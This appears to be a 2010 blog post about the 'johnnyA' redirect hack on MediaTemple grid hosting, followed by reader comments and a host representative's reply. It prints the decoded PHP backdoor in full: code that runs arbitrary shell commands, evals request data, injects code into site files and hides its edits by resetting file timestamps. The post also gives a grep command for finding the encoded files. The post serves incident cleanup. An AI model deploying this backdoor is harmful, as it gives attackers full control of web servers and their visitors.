Update: MediaTemple directed me to another blog post with additional details. This highlights another problem with this incident. The information has been spread all over the place. While this blog post does give some good details, it still does not provide cleanup instructions. It simply says that all malicious files have been removed. I’m sorry to say that they have not.
If you have websites hosted on a MediaTemple (gs) then you may have been a victim of this annoying redirect hack, unofficially known as the johnnyA hack. It was once thought to be an issue with WordPress, but in reality static sites are also affected by this. Essentially the attack works by including some encoded JavaScript onto your pages that tries to redirect you to a malicious website or file.
After much searching and with the help of this blog post, I have found the rootkit that is used to do the damage. If you have been hacked you will find some PHP files that were created by the attackers with a bunch of gzipped, base64-encoded source code. I converted that into the actual attack code which is listed below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 | <?PHP @ignore_user_abort(1); @set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @error_reporting(0); @ini_set("memory_limit","16M"); if (!function_exists('rand_checkstr')) { function rand_checkstr() { $c5 = 1; $c3 = 8; $e7 =""; for ($f3=0;$f3<$c3;$f3++) { $c4 = mt_rand(1,7); switch ($c4) { case ($c4<=2): $e7 .= mt_rand(0,9); break; case ($c4<=4): $e7 .= chr(mt_rand(65,90)); break; case ($c4<=6): $e7 .= chr(mt_rand(97,122)); break; case 7: $e6 = strlen($e7); if ($c5>0&&$e6>0&&$e6<($c3-1)&&$e7[$e6-1]!="_") { $e7 .= "_"; $c5--; } else { $f3--; continue; } break; } } return $e7; } } if (!function_exists('strrevpos')) { function strrevpos($f4, $f6) { $f5 = strpos (strrev($f4), strrev($f6)); if ($f5===false) return false; else return strlen($f4) - $f5 - strlen($f6); } } if (!function_exists('after')) { function after ($this, $d8) { if (!is_bool(strpos($d8, $this))) return substr($d8, strpos($d8,$this)+strlen($this)); } } if (!function_exists('after_last')) { function after_last ($this, $d8) { if (!is_bool(strrevpos($d8, $this))) return substr($d8, strrevpos($d8, $this)+strlen($this)); } } if (!function_exists('before')) { function before ($this, $d8) { return substr($d8, 0, strpos($d8, $this)); } } if (!function_exists('before_last')) { function before_last ($this, $d8) { return substr($d8, 0, strrevpos($d8, $this)); } } if (!function_exists('between')) { function between ($this, $f7, $d8) { return before($f7, after($this, $d8)); } } if (!function_exists('between_last')) { function between_last ($this, $f7, $d8) { return after_last($this, before_last($f7, $d8)); } } if (!function_exists('stripslashes2')) { function stripslashes2($d3) { $d3 = str_replace('\\\\\\"', '\\"', $d3); $d3 = str_replace("\\\'", "'", $d3); $d3 = str_replace("\\\\\\\\", "\\\\", $d3); return $d3; } } if (!function_exists('getfiles')) { function getfiles($d4, $f1, $d5=0, $f8="\\") { if(!is_dir($d4)) { return null; } $d9=($f8=="\\")?"/":$f8; $d4=str_replace($f8,$d9,$d4); $d4=str_replace("//",$d9,$d4); $d4=(strrpos($d4, $d9)==strlen($d4)-1)? substr($d4, 0, strlen($d4)-1):$d4; $e0=substr_count($d4, $d9); $d5=(!$d5)?-1:$d5+$e0; $e8=array(); $d7=array( array($d4, $e0) ); while(sizeof($d7) && $d7[0][1]!=$d5) { $d6=array_shift($d7); $f9=opendir($d6[0]); while( ($f0=readdir($f9))!==false ) { if( strrpos($f0,".") === (strlen($f0)-1)) { continue; }; $f2=$d6[0].$d9.$f0; if(is_dir($f2)) { $e9[]=$f2; $d7[]=array( $f2, substr_count($f2, $d9) ); } else { foreach($f1 as $f3) { if(preg_match($f3,$f2)) { $e8[]=$f2;break;}; } }; }; } return $e8; } } if (!function_exists('checkcontent2')) { function checkcontent2($g0) { $e5 = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)", "Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6", "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5"); if (function_exists('curl_init')) { $g2 = $e5[rand(0,count($e5)-1)]; $g1 = curl_init(); curl_setopt($g1, CURLOPT_URL, $g0); curl_setopt($g1, CURLOPT_HEADER, 0); curl_setopt($g1, CURLOPT_TIMEOUT, 30); curl_setopt($g1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($g1, CURLOPT_USERAGENT, $g2); curl_setopt($g1, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($g1, CURLOPT_MAXREDIRS, 2); $g3 = curl_exec($g1); curl_close($g1); if ($g3 !== false) { return $g3; } } else if (ini_get('allow_url_fopen') == '1') { $g3 = file_get_contents($g0); if ($g3 !== false) { return $g3; } } else { echo "<h5 style='color:maroon'>Can't download ".$g0." - EXIT;</h5>"; exit; } } } if (!function_exists('getcode')) { function getcode($g4,$d0) { $c8 = ''; if(preg_match("/$d0/",$g4)) { $c8 = preg_replace("/.*<b1><!--|$d0|--><\/b1>.*/msi","",$g4); } return $c8; } } $d1 = array("(\.ph.*$|\.htm.*$|\.shtm.*$|\.asp.*$|\.jsp$|\.jhtm$|\.cfm$|\.ctp$|\.tpl$)"); $a7 = array("/<ad>.*<\/ad>/si", "/<ads>.*<\/ads>/si", "/<bb1>.*<bb2>/si", "/<b1>.*<\/b1>/si", "/<bb1><bb1>/si", "/<bb2><bb2>/si", "/<(span|font|div) style=.*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*(overflow|visibility)\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*(overflow|visibility)\s*:\s*(auto|hidden).*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*visibility\s*:\s*(auto|hidden).*overflow\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*overflow\s*:\s*(auto|hidden).*visibility\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/wpfooterz.*wpfooterz/si", "/<a.*style\s*=.*(top|left)\s*:\s*-[0-9]{3,5}.*>.*<\/a>/Ui", "/<a.*(viagra|cialis|phentermine|vioxx|hydrocodon|oxycontin|levitra|ambien|xanax|adipex|cheap pills|paxil|Codeine|vicodin|tramadol|tadalafil|carisoprodol|mesothelioma|lorazepam|propecia|protonix|prozac|prescription|buy cheap|zithromax)+.*><\/a>/i"); if (isset($_REQUEST['update1'])) { $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['update1']))); $b0 = $b4[0]; $b5 = explode(',',$b4[1]); foreach($b5 as $a3) { if (strlen($b0) > 1) $b0 = "<ads>".$b0."</ads>"; $a2 = false; $a5 = false; if (!is_writable($a3)) @chmod($a3, 0644); if (file_exists($a3) && is_writable($a3)) { $b7 = false; if (eregi(".htm",$a3) !== false || eregi(".shtm",$a3) !== false) $b7 = true; $a1 = trim(file_get_contents($a3)); foreach($a7 as $c2) { if (preg_match($c2, $a1)) { $a1 = preg_replace($c2, "", $a1); $a5 = true; } } if (preg_match("/<body(.*)?>/i",$a1,$a9)) { $a0=$a9[0]; $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1); $a2 = true; } else if (preg_match("/<\/body(.*)?>/i",$a1,$a9)) { $a0=$a9[0]; $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1); $a2 = true; } else if (preg_match("/<\/html>/i",$a1,$a9)) { $a0="</body>".$a9[0]; $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1); $a2 = true; } else if ($b7 == true) { $a0=$b0."</body></html>"; $a1.=$a0; $a2 = true; } if ($a2 == true || $a5 == true) { $a4 = @filemtime($a3); $b1 = fopen($a3, "w+"); fwrite($b1, $a1); fclose($b1); @touch($a3,$a4,$a4); if ($a2 == true) echo "<pre>update $a3</pre>"; if ($a5 == true) echo "<pre>spam removed $a3</pre>"; } } else { if (!file_exists($a3)) echo "<pre>no file $a3</pre>"; else if (!is_writable($a3)) echo "<pre>no rw file $a3</pre>"; } } } if (isset($_REQUEST['update2'])) { $b0 = gzinflate(base64_decode($_REQUEST['update2'])); $a6 = $_SERVER['SCRIPT_FILENAME']; $b6 = before_last('/',$a6); if (!is_writable($b6)) @chmod($b6, 0644); $b8 = @filemtime($b6); @copy($a6,$a6.'1.php'); @touch($b6,$b8,$b8); @touch($a6.'1.php',$b8,$b8); if (!is_writable($a6)) @chmod($a6, 0644); if (is_writable($a6)) { $a1 = trim(file_get_contents($a6)); $b3 = preg_replace('/^\<\?php.*\?\>/Usi','',$a1); $a4 = @filemtime($a6); $b1 = fopen($a6, "w"); fwrite($b1, $b0.$b3); fclose($b1); @touch($a6,$a4,$a4); echo "<pre>update</pre>"; } else { echo "<pre>no rw $a3</pre>"; } } if (isset($_REQUEST['update3'])) { echo "<pre>"; $a8 = $_REQUEST['update3']; $b4 = ''; if (!empty($a8)) { if(function_exists('exec')) { @exec($a8,$b4); $b4 = join("\n",$b4); } elseif(function_exists('shell_exec')) { $b4 = @shell_exec($a8); } elseif(function_exists('system')) { @ob_start(); @system($a8); $b4 = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($a8); $b4 = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($b2 = @popen($a8,"r"))) { $b4 = ""; while(!@feof($b2)) { $b4 .= @fread($b2,1024); } @pclose($b2); } } echo $b4; echo "</pre>"; } if (isset($_REQUEST['add1'])) { $b4 = explode("EXPC",gzinflate(base64_decode($_REQUEST['add1']))); $b0 = $b4[0]; $b5 = explode(',',$b4[1]); foreach($b5 as $a3) { $a2 = false; $a5 = false; if (!is_writable($a3)) @chmod($a3, 0644); if (file_exists($a3) && is_writable($a3)) { $a1 = trim(file_get_contents($a3)); $a1 = preg_replace("/var\sst1(.*)gr0\=0\;/i", "", $a1); $a1=$b0.$a1; $a4 = @filemtime($a3); $b1 = fopen($a3, "w"); fwrite($b1, $a1); fclose($b1); @touch($a3,$a4,$a4); echo "<pre>update $a3</pre>"; } else { if (!file_exists($a3)) echo "<pre>no file $a3</pre>"; else if (!is_writable($a3)) echo "<pre>no w file $a3</pre>"; } } } if (isset($_REQUEST["ev1"])) { $b9=base64_decode($_REQUEST["ev1"]); if (isset($_REQUEST["s"])) { $b9=stripslashes2($b9); }; eval($b9); exit(); } if (isset($_REQUEST["info1"])) { $c0 = 'dGVzdDEyNw=='; $c1 = @get_current_user(); echo "<!--".base64_decode($c0)."(($c1))-->"; exit; } if (isset($_REQUEST["get1"])) { get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get1']) : $c6 = $_REQUEST['get1']; $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']); $d0 = rand_checkstr(); $e1 = array("((^index.*\.|^default.*\.|^main.*\.|^.*body.*\.|^login.*\.|^.*content.*\.|^auth.*\.|^.*footer.*\.|^home.*\.|^.*templ.*\.|^inc.*\.|^page.*\.|^hyperseek.*\.|^Output.*\.|^comment.*\.|^uifunctions.*\.|^bottom.*\.|^infocus.*\.)(ph.*$|htm.*$|shtm.*$|asp.*$|jsp$|jhtml$|cfm$|tpl$|inc$|pl$|templ.*$|xml$|sht$|ctp$))"); $b5 = getfiles($d2, $e1, 4); foreach($b5 as $a3) { $a2 = false; $a5 = false; if (file_exists($a3)) { if (!is_writable($a3)) @chmod($a3, 0644); if (is_writable($a3)) { $e2 = base64_encode(gzcompress($a3,9)); $b0 ="<b1><!--".$d0.$e2."--></b1>"; $a1 = trim(file_get_contents($a3)); foreach($a7 as $c2) { if (preg_match($c2, $a1)) { $a1 = preg_replace($c2, "", $a1); $a5 = true; } } if (preg_match("/<body(.*)?>/i",$a1,$a9)) { $a0=$a9[0]; $a1=preg_replace("/<body(.*)?>/i", $a0.$b0, $a1); $a2 = true; } else if (preg_match("/<\/body(.*)?>/i",$a1,$a9)) { $a0=$a9[0]; $a1=preg_replace("/<\/body(.*)?>/i", $b0.$a0, $a1); $a2 = true; } else if (preg_match("/<\/html>/i",$a1,$a9)) { $a0="</body>".$a9[0]; $a1=preg_replace("/<\/html>/i", $b0.$a0, $a1); $a2 = true; } if ($a2 == true || $a5 == true) { $a4 = @filemtime($a3); $b1 = @fopen($a3, "w+"); @fwrite($b1, $a1); @fclose($b1); @touch($a3,$a4,$a4); } } } } $c9 = checkcontent2($c6); if (eregi($d0, $c9)) { $c9 = gzuncompress(base64_decode(getcode($c9,$d0))); echo $c9; } foreach($b5 as $a3) { $a5 = false; if (file_exists($a3)) { if (!is_writable($a3)) @chmod($a3, 0644); if (is_writable($a3)) { $a1 = trim(file_get_contents($a3)); foreach($a7 as $c2) { if (preg_match($c2, $a1)) { $a1 = preg_replace($c2, "", $a1); $a5 = true; } } if ($a5 == true) { $a4 = @filemtime($a3); $b1 = @fopen($a3, "w+"); @fwrite($b1, $a1); @fclose($b1); @touch($a3,$a4,$a4); } } } } exit; } if (isset($_REQUEST["get2"])) { $e3 = array(); get_magic_quotes_gpc() ? $c6 = stripslashes($_REQUEST['get2']) : $c6 = $_REQUEST['get2']; $d2 = before($_SERVER['PHP_SELF'],$_SERVER['SCRIPT_FILENAME']); $c7 = checkcontent2($c6); $c6 = preg_replace("/^www\./i", "", $c6); preg_match_all("/script.*src\s?=\s?(\"|')(.*\.js)(\?|\/|\"|')/Ui", $c7,$c8); foreach ($c8[2] as $e4) { if (preg_match('/^http/i',$e4)) { if (preg_match("/$c6/i",$e4)) { $b2 = $d2.after($c6,$e4); if (file_exists($b2)) $e3[] = $b2; } } else { $b2 = $d2.'/'.$e4; if (file_exists($b2)) $e3[] = $b2; } } echo ($e3[rand(0,count($e3)-1)]); exit; } ?> |
It looks like the attackers simply visit this PHP page and pass in some request parameters to tailor the attack. It looks like there are a few different options such as generating files, executing shell code, etc. I’m no PHP wizard so let me know if you find something interesting.
So how do you find these PHP files? Just SSH into your root directory and run:
1 | grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" * |
This will list all files that have a string that is longer than 255 characters. This should help you locate these files.
My big question is for MediaTemple. What the hell are you guys doing? Why are we having to dig around for this information? Surely you have determined the same things so why are you not telling people how to clean it up? This official blog post from MediaTemple is vague and tells us nothing about how to actually clean our servers up. Do your job!
Could not agree more with You Lee, and the fact that they throw the ball to wordpress and do nothing else is really frustrating, above all when you have more than one site hosted in their servers. Even the links that they provide with info on how to “clean up” you wordpress is hacked as the picture shows: http://twitpic.com/29h0k7
@Dave LOL that is hilarious and kind of sad at the same time. I don’t give a shit who is a fault for letting this attack happen. We all just want to get back to normal.
Yeahh I know but I find very lame their argument of “It´s wordpress fault not ours”, When besides of working I have to be cleaning the 4 to 5 blogs hosted with them.
I might self host after all this. If you self host, less of target? Maybe.
That’s why I left Mediatemple earlier this year. They tout a good grid system and something that’s under their control. But that’s bullshit. Spam mails, grid spanned viruses, unreliable uptime and the likes, that’s all I received in the 2 years I spent with them. An ignorant support team which comes as a gift with their shitty service. I am not even mentioning how expensive it is compared to other good servers.
I got 10 WordPress installations and I had to grep for virus JS and PHP code to delete it manually. Pretty frustrating job I’d say )8
But this is the first real problem with MT ever (actually from like year 2003). I had sites hosted with other companies and I’ve never had better experience than with MT.
I with @Haseeb, I moved over to media temple from GoDaddy a couple of years ago and in the 6 months I would say noting but crap from them.
I get database connection lost at least twice a week,the last time this happen asked them why it happed that answer that I got back was “For reasons of Intellectual Property, our administrators can’t divulge information surrounding the situation” WTF
Between that there and the hacks that are going on its pretty much a pain especially that I need to change my password once a month.
I’m looking into Rockspace
Anyone know if the MediaTemple DV servers are less prone to these attacks? It pains me to pay more money to MT to switch to the DV server just because they can’t get their shit together on the grid.
Anyone have any other recs for decent hosting companies?
Maybe I’m dumb, but I just get “grep: unknown directories method” when I try that command, no matter where (and yes, I’m a (gs) guy). What am I doing wrong?
Thanks for the investigative research on this – it’s been a major headache for me.
@Jeff sorry that was my mistake. The way I had it in the post it didn’t copy and paste correctly. If you do it now it will work.
I’m glad i moved my sites to Linode early this year. Much cheaper and beter service!
@Dave We have not placed the blame on WordPress for these compromises, in fact, we have stated officially that WordPress isn’t the source of the problem.
“WordPress has been mentioned a lot lately. Is this application specifically vulnerable?
No. WordPress is a high-quality project that updates their software whenever a security problem is found. The latest versions do not contain any vulnerabilities that we are aware of. If you are running an old version, please update yourself. This is a common practice and should be familiar to any Windows or Mac OS X desktop user.
This being said, due to the ubiquity as one of the world’s most popular open-source publishing systems, WordPress is often the target of the payload with code injections and backdoor entry points after the attackers have maliciously gained access to a user’s website. The fact that WordPress is frequently a payload target DOES NOT mean that WordPress itself is vulnerable. It just means it’s popular and very powerful. You should continue to use it and we think it’s great software.”
You and others can read more about our response to the security concerns and (mt) Media Temple’s response in our blog post: http://bit.ly/9YuqRV
Has anyone tried AN Hosting? I’m looking into something new any suggestions.
This is sad, but is another symptom of the fact that (mt) is no longer a great place to host a site. I moved to from the shared server to grid server a couple of years ago. I eventually got tired of all of the outages and general lack of progress on getting the grid up to quality level a real site needs. I wrote a detailed letter to (mt) telling them why I was frustrated and why I was taking my business elsewhere. No response.
I’m at hostgator now. Much, much, happier. (mt), you can be great again, but it’s not going to happen by itself.
@(mt) Travis O
I always have the latest version and the less of strange plugins in my blog.
Nevertheless … Just got Hacked again.
@(mt) Travis
before you advice to others to update to wordpress latest version you should first update yours one http://bit.ly/9YuqRV still it you using 2.2.3 version latest version is 3.0.1
Lee, thanks for this post man. it allowed us to swiftly identify the problem and clean things up quickly. now we’re just waiting for Google to clear us. tick tock.
This is the second time I’ve been caught out hosting with MT. All my sites have had the malicious script inserted into them, all running different versions of WP (some up to date, some not), so it’s clearly not a WP hack.
I’ve had enough. I’ve been hosting some other sites elsewhere so I’m just going to move.
The MT rep linked to a support article from November last year earlier in the comments. Is this the same problem? If so, why the hell havent they fixed it in the last, oh, 10 months?!?! It’s a joke and I hate this feeling of vulnerability that’s out of my control.
mediatemple does not provide any real securitty. After getting hacked also, I was fed up with their service.
We were also compromised (over 50 sites on MT’s grid service) by the latest JohnnyA hack. We took all measures to protect our server, followed MT’s instructions to harden WordPRess, etc. Last night (8/8/10 at 11:56PM) we had a TON of js files renamed and replaced from backup (obviously by Media Temple in response to SOME kind of attack). We inspected the renamed files and found malicious code has been injected (even on sites NOT running WordPress). The worst part is now Google is blocking a couple of the domains due to these Malware issues, and MT’s response remains the same, canned, “you must have left something open – here’s links to protect yourself in the future” responses. Even after I told them that we had already followed all their procedures for cleaning this stuff up. Now it’s costing my clients money through sites being blocked
Hi Lee,
Media Temple updated everything as of 8/7/10 it’s a lot better for an explanation but still they really don’t give you good instructions how to clean up everything so far yours was the best.
I do think it’s a bit funny they suggest to use a third party services called “Sucuri”. The funny part is that Media Temple set up a discount of $10 for there clients. The way I see Media Temple needs to provide a free one year subscriptions.
Here is the updated link http://weblog.mediatemple.net/weblog/2010/08/06/security-facts/